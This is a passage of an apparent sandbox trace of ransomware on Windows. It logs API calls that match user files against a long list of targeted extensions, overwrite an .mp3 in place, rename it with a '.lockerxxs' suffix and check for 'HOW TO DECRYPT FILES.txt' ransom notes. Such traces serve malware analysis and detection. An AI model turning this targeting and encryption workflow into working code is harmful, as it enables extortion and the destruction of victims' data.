HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.jpeg") returned 0 [0090.332] lstrlenA (lpString="*.jpeg") returned 6 [0090.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.jpg") returned 0 [0090.332] lstrlenA (lpString="*.jpg") returned 5 [0090.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.png") returned 0 [0090.332] lstrlenA (lpString="*.png") returned 5 [0090.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.php") returned 0 [0090.332] lstrlenA (lpString="*.php") returned 5 [0090.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.cs") returned 0 [0090.332] lstrlenA (lpString="*.cs") returned 4 [0090.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.cpp") returned 0 [0090.332] lstrlenA (lpString="*.cpp") returned 5 [0090.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.rar") returned 0 [0090.332] lstrlenA (lpString="*.rar") returned 5 [0090.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.zip") returned 0 [0090.332] lstrlenA (lpString="*.zip") returned 5 [0090.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.html") returned 0 [0090.332] lstrlenA (lpString="*.html") returned 6 [0090.332] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.htm") returned 0 [0090.333] lstrlenA (lpString="*.htm") returned 5 [0090.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.xlsx") returned 0 [0090.333] lstrlenA (lpString="*.xlsx") returned 6 [0090.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.xls") returned 0 [0090.333] lstrlenA (lpString="*.xls") returned 5 [0090.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.mp4") returned 0 [0090.333] lstrlenA (lpString="*.mp4") returned 5 [0090.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.ppt") returned 0 [0090.333] lstrlenA (lpString="*.ppt") returned 5 [0090.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.pptx") returned 0 [0090.333] lstrlenA (lpString="*.pptx") returned 6 [0090.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.doc") returned 0 [0090.333] lstrlenA (lpString="*.doc") returned 5 [0090.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.dot") returned 0 [0090.333] lstrlenA (lpString="*.dot") returned 5 [0090.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.docx") returned 0 [0090.333] lstrlenA (lpString="*.docx") returned 6 [0090.333] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.7z") returned 0 [0090.333] lstrlenA (lpString="*.7z") returned 4 [0090.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.tar") returned 0 [0090.334] lstrlenA (lpString="*.tar") returned 5 [0090.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.bz2") returned 0 [0090.334] lstrlenA (lpString="*.bz2") returned 5 [0090.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.gz") returned 0 [0090.334] lstrlenA (lpString="*.gz") returned 4 [0090.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.mkv") returned 0 [0090.334] lstrlenA (lpString="*.mkv") returned 5 [0090.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.eml") returned 0 [0090.334] lstrlenA (lpString="*.eml") returned 5 [0090.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.msg") returned 0 [0090.334] lstrlenA (lpString="*.msg") returned 5 [0090.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.edb") returned 0 [0090.334] lstrlenA (lpString="*.edb") returned 5 [0090.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.accdb") returned 0 [0090.334] lstrlenA (lpString="*.accdb") returned 7 [0090.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.odb") returned 0 [0090.334] lstrlenA (lpString="*.odb") returned 5 [0090.334] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.java") returned 0 [0090.334] lstrlenA (lpString="*.java") returned 6 [0090.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.asm") returned 0 [0090.335] lstrlenA (lpString="*.asm") returned 5 [0090.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.pfx") returned 0 [0090.335] lstrlenA (lpString="*.pfx") returned 5 [0090.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.pem") returned 0 [0090.335] lstrlenA (lpString="*.pem") returned 5 [0090.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.p12") returned 0 [0090.335] lstrlenA (lpString="*.p12") returned 5 [0090.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.gpg") returned 0 [0090.335] lstrlenA (lpString="*.gpg") returned 5 [0090.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.vsd") returned 0 [0090.335] lstrlenA (lpString="*.vsd") returned 5 [0090.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.odg") returned 0 [0090.335] lstrlenA (lpString="*.odg") returned 5 [0090.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.raw") returned 0 [0090.335] lstrlenA (lpString="*.raw") returned 5 [0090.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.nef") returned 0 [0090.335] lstrlenA (lpString="*.nef") returned 5 [0090.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.svg") returned 0 [0090.335] lstrlenA (lpString="*.svg") returned 5 [0090.335] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.psd") returned 0 [0090.336] lstrlenA (lpString="*.psd") returned 5 [0090.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.vmx") returned 0 [0090.336] lstrlenA (lpString="*.vmx") returned 5 [0090.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.vmdk") returned 0 [0090.336] lstrlenA (lpString="*.vmdk") returned 6 [0090.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.vdi") returned 0 [0090.336] lstrlenA (lpString="*.vdi") returned 5 [0090.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.lay6") returned 0 [0090.336] lstrlenA (lpString="*.lay6") returned 6 [0090.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.mpeg") returned 0 [0090.336] lstrlenA (lpString="*.mpeg") returned 6 [0090.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.djvu") returned 0 [0090.336] lstrlenA (lpString="*.djvu") returned 6 [0090.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.tiff") returned 0 [0090.336] lstrlenA (lpString="*.tiff") returned 6 [0090.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.backup") returned 0 [0090.336] lstrlenA (lpString="*.backup") returned 8 [0090.336] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.pdf") returned 0 [0090.337] lstrlenA (lpString="*.pdf") returned 5 [0090.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.cert") returned 0 [0090.337] lstrlenA (lpString="*.cert") returned 6 [0090.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.docm") returned 0 [0090.337] lstrlenA (lpString="*.docm") returned 6 [0090.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.xlsm") returned 0 [0090.337] lstrlenA (lpString="*.xlsm") returned 6 [0090.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.dwg") returned 0 [0090.337] lstrlenA (lpString="*.dwg") returned 5 [0090.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.nd") returned 0 [0090.337] lstrlenA (lpString="*.nd") returned 4 [0090.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.tlg") returned 0 [0090.337] lstrlenA (lpString="*.tlg") returned 5 [0090.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.lgb") returned 0 [0090.337] lstrlenA (lpString="*.lgb") returned 5 [0090.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.mov") returned 0 [0090.337] lstrlenA (lpString="*.mov") returned 5 [0090.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.xdw") returned 0 [0090.337] lstrlenA (lpString="*.xdw") returned 5 [0090.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.ods") returned 0 [0090.337] lstrlenA (lpString="*.ods") returned 5 [0090.337] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.wav") returned 0 [0090.338] lstrlenA (lpString="*.wav") returned 5 [0090.338] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", pszSpec="*.mp3") returned 1 [0090.338] lstrlenA (lpString="*.mp3") returned 5 [0090.338] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3" [0090.338] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3" [0090.338] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3." [0090.338] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3.lockerxxs" [0090.338] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\jukiiw647.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0090.339] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe3fb [0090.339] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x2c6c9e80, dwHighDateTime=0x1d5d8d4), lpLastAccessTime=0x407536*(dwLowDateTime=0xc73ab8f0, dwHighDateTime=0x1d5d9da), lpLastWriteTime=0x40753e*(dwLowDateTime=0xc73ab8f0, dwHighDateTime=0x1d5d9da)) returned 1 [0090.339] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.339] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xe3d5, lpOverlapped=0x0) returned 1 [0090.341] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3") returned="JuKIIW647.mp3" [0090.341] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.341] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xe3d5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xe3d5, lpOverlapped=0x0) returned 1 [0090.342] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.342] CloseHandle (hObject=0x8c) returned 1 [0090.342] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\jukiiw647.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\jukiiw647.mp3.lockerxxs")) returned 1 [0090.343] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1867620, ftCreationTime.dwHighDateTime=0x1d5ddeb, ftLastAccessTime.dwLowDateTime=0x5340c2b0, ftLastAccessTime.dwHighDateTime=0x1d5e6e5, ftLastWriteTime.dwLowDateTime=0x5340c2b0, ftLastWriteTime.dwHighDateTime=0x1d5e6e5, nFileSizeHigh=0x0, nFileSizeLow=0xb1b4, dwReserved0=0x2c00032f, dwReserved1=0x4e00c4, cFileName="rJdTuYhe-2h.wav", cAlternateFileName="RJDTUY~1.WAV")) returned 1 [0090.343] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.343] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rJdTuYhe-2h.wav") returned -1 [0090.343] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rJdTuYhe-2h.wav") returned -1 [0090.343] lstrcmpiA (lpString1="", lpString2="rJdTuYhe-2h.wav") returned -1 [0090.343] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\JuKIIW647.mp3") returned="JuKIIW647.mp3" [0090.343] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\" [0090.343] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\") returned="" [0090.343] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\HOW TO DECRYPT FILES.txt" [0090.343] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\how to decrypt files.txt")) returned 0x20 [0090.344] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\", lpString2="rJdTuYhe-2h.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav" [0090.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.ems") returned 0 [0090.344] lstrlenA (lpString="*.ems") returned 5 [0090.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.db") returned 0 [0090.344] lstrlenA (lpString="*.db") returned 4 [0090.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.dbf") returned 0 [0090.344] lstrlenA (lpString="*.dbf") returned 5 [0090.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.myox") returned 0 [0090.344] lstrlenA (lpString="*.myox") returned 6 [0090.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.myo") returned 0 [0090.344] lstrlenA (lpString="*.myo") returned 5 [0090.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.qbw") returned 0 [0090.344] lstrlenA (lpString="*.qbw") returned 5 [0090.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.qbb") returned 0 [0090.344] lstrlenA (lpString="*.qbb") returned 5 [0090.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.qbm") returned 0 [0090.344] lstrlenA (lpString="*.qbm") returned 5 [0090.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.qbo") returned 0 [0090.344] lstrlenA (lpString="*.qbo") returned 5 [0090.344] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.qbx") returned 0 [0090.344] lstrlenA (lpString="*.qbx") returned 5 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.qba") returned 0 [0090.345] lstrlenA (lpString="*.qba") returned 5 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.qby") returned 0 [0090.345] lstrlenA (lpString="*.qby") returned 5 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.qbj") returned 0 [0090.345] lstrlenA (lpString="*.qbj") returned 5 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.ofx") returned 0 [0090.345] lstrlenA (lpString="*.ofx") returned 5 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.qif") returned 0 [0090.345] lstrlenA (lpString="*.qif") returned 5 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.mye") returned 0 [0090.345] lstrlenA (lpString="*.mye") returned 5 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.mbox") returned 0 [0090.345] lstrlenA (lpString="*.mbox") returned 6 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.eml") returned 0 [0090.345] lstrlenA (lpString="*.eml") returned 5 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.pst") returned 0 [0090.345] lstrlenA (lpString="*.pst") returned 5 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.ost") returned 0 [0090.345] lstrlenA (lpString="*.ost") returned 5 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.idx") returned 0 [0090.345] lstrlenA (lpString="*.idx") returned 5 [0090.345] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.dbx") returned 0 [0090.345] lstrlenA (lpString="*.dbx") returned 5 [0090.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.sql") returned 0 [0090.346] lstrlenA (lpString="*.sql") returned 5 [0090.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.mdb") returned 0 [0090.346] lstrlenA (lpString="*.mdb") returned 5 [0090.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.fdb") returned 0 [0090.346] lstrlenA (lpString="*.fdb") returned 5 [0090.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.wab") returned 0 [0090.346] lstrlenA (lpString="*.wab") returned 5 [0090.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.dat") returned 0 [0090.346] lstrlenA (lpString="*.dat") returned 5 [0090.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.txt") returned 0 [0090.346] lstrlenA (lpString="*.txt") returned 5 [0090.346] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\rJdTuYhe-2h.wav", pszSpec="*.jpeg") returned 0 